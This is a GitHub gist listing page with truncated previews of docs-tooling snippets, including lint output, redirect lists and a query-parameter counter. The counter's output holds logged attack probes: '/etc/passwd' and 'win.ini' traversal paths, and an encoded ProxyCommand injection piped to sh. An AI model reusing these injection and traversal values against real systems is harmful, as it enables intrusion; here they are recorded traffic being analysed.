Skip to content

Instantly share code, notes, and snippets.

View peterbe's full-sized avatar

Peter Bengtsson peterbe

View GitHub Profile
content/actions/using-workflows/workflow-commands-for-github-actions.md
WARNING
Rule GHD001, code-fence-line-length Code fence lines should not exceed a maximum length
Detail Code fence line exceeds 60 characters.
Line 34 echo "::workflow-command parameter1={data},parameter2={data}::{command value}"
Line 42 Write-Output "::workflow-command parameter1={data},parameter2={data}::{comman…
Line 67 core.error('Missing semicolon', {file: 'app.js', startLine: 1})
Line 78 run: echo "::error file=app.js,line=1::Missing semicolon"
Line 87 run: Write-Output "::error file=app.js,line=1::Missing semicolon"
import csv
from urllib.parse import parse_qs
import sys
from collections import Counter, defaultdict
counter = defaultdict(Counter)
with open(sys.argv[1]) as f:
reader = csv.reader(f)
next(reader)
for uri, code in reader:
KEY: tool
'vscode' 768
'jetbrains' 365
'visualstudio' 214
'vimneovim' 125
'webui' 88
'cli' 75
'/etc/passwd' 73
'x -oProxyCommand=echo bnNsb29rdXArJTdCJTdCaW50ZXJhY3RzaC11cmwlN0QlN0Q=|base64 -d|sh}' 68
'\\WINDOWS\\win.ini' 51
<!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="icon" href="/thehub-16.png" sizes="16x16" type="image/png"/><meta name="viewport" content="width=device-width, initial-scale=1"/><title> The Hub</title><meta name="next-head-count" content="4"/><link rel="preload" href="/_next/static/css/7995dfc4be029ff5.css" as="style"/><link rel="stylesheet" href="/_next/static/css/7995dfc4be029ff5.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-8a554e7582522d66.js" defer=""></script><script src="/_next/static/chunks/framework-5f4595e5518b5600.js" defer=""></script><script src="/_next/static/chunks/main-b89472157adf5c69.js" defer=""></script><script src="/_next/static/chunks/pages/_app-d35d68c765627985.js" defer=""></script><script src="/_next/static/chunks/544-8c94c0f47693ae74.js" defer=""></script><script src="/_next/static/chunks/pages/%5B...slug%5D-c0cfdb3a2dd84a57.js" d
FROM /en/github-ae@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
301 TO /en/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
FROM /en/github-ae@latest/admin/github-actions/getting-started-with-github-actions-for-your-enterprise
301 TO /en/enterprise-cloud@latest/admin/github-actions/getting-started-with-github-actions-for-your-enterprise
FROM /en/github-ae@latest/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
301 TO /en/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies
FROM /en/github-ae@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam
FAIIL docs/support/c2c/code-security/dependency-graph/rebuilding-dependency-graphs.md http://localhost:3000/support/c2c/code-security/dependency-graph/rebuilding-dependency-graphs/
FAIIL docs/support/infrastructure/enterprise-manage/how-to-debug-an-enterprise-license.md http://localhost:3000/support/infrastructure/enterprise-manage/how-to-debug-an-enterprise-license/
2023-09-21 4 days http://localhost:3000/support/infrastructure/appliance-performance-and-capacity/antivirus-products-on-enterprise-server/
2023-09-21 4 days http://localhost:3000/support/ecosystem/rate-limits/api-handbook/secondary/
2023-09-20 5 days http://localhost:3000/support/worktent/connectivity/troubleshooting-connectivity/
2023-09-20 5 days http://localhost:3000/support/worktent/classroom-issues/
2023-09-20 5 days http://localhost:3000/support/infrastructure/certificates/how-to-troubleshoot-ghes-missing-assets-stylesheets/
2023-09-20 5 days http://localhost:3000/support/c2c/actions/general/index/
2023-09-20 5 days http://localhost:3000/su
#!/usr/bin/env python
import sys
import argparse
import re
import subprocess
def main(requirements_in, interactive=False):
required = {}
import got from 'got'
import cheerio from 'cheerio'
async function getTags(url) {
const response = await got(url)
return countTags(response.body)
}
function countTags(body) {
const tags = {}
/en/code-security/code-scanning/managing-code-scanning-alerts/tracking-code-scanning-alerts-in-issues-using-task-lists
p 30 28
/en/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule
p 56 54
/en/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise
p 16 14
/en/enterprise-server@3.10/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise
ol 6 4
/en/apps/creating-github-apps/writing-code-for-a-github-app/building-ci-checks-with-a-github-app
p 222 215
diff --git a/package-lock.json b/package-lock.json
index ab5610855..e7d3112ec 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -3269,6 +3269,36 @@
"version": "12.3.4",
"license": "MIT"
},
+ "node_modules/@next/swc-android-arm-eabi": {
+ "version": "12.3.4",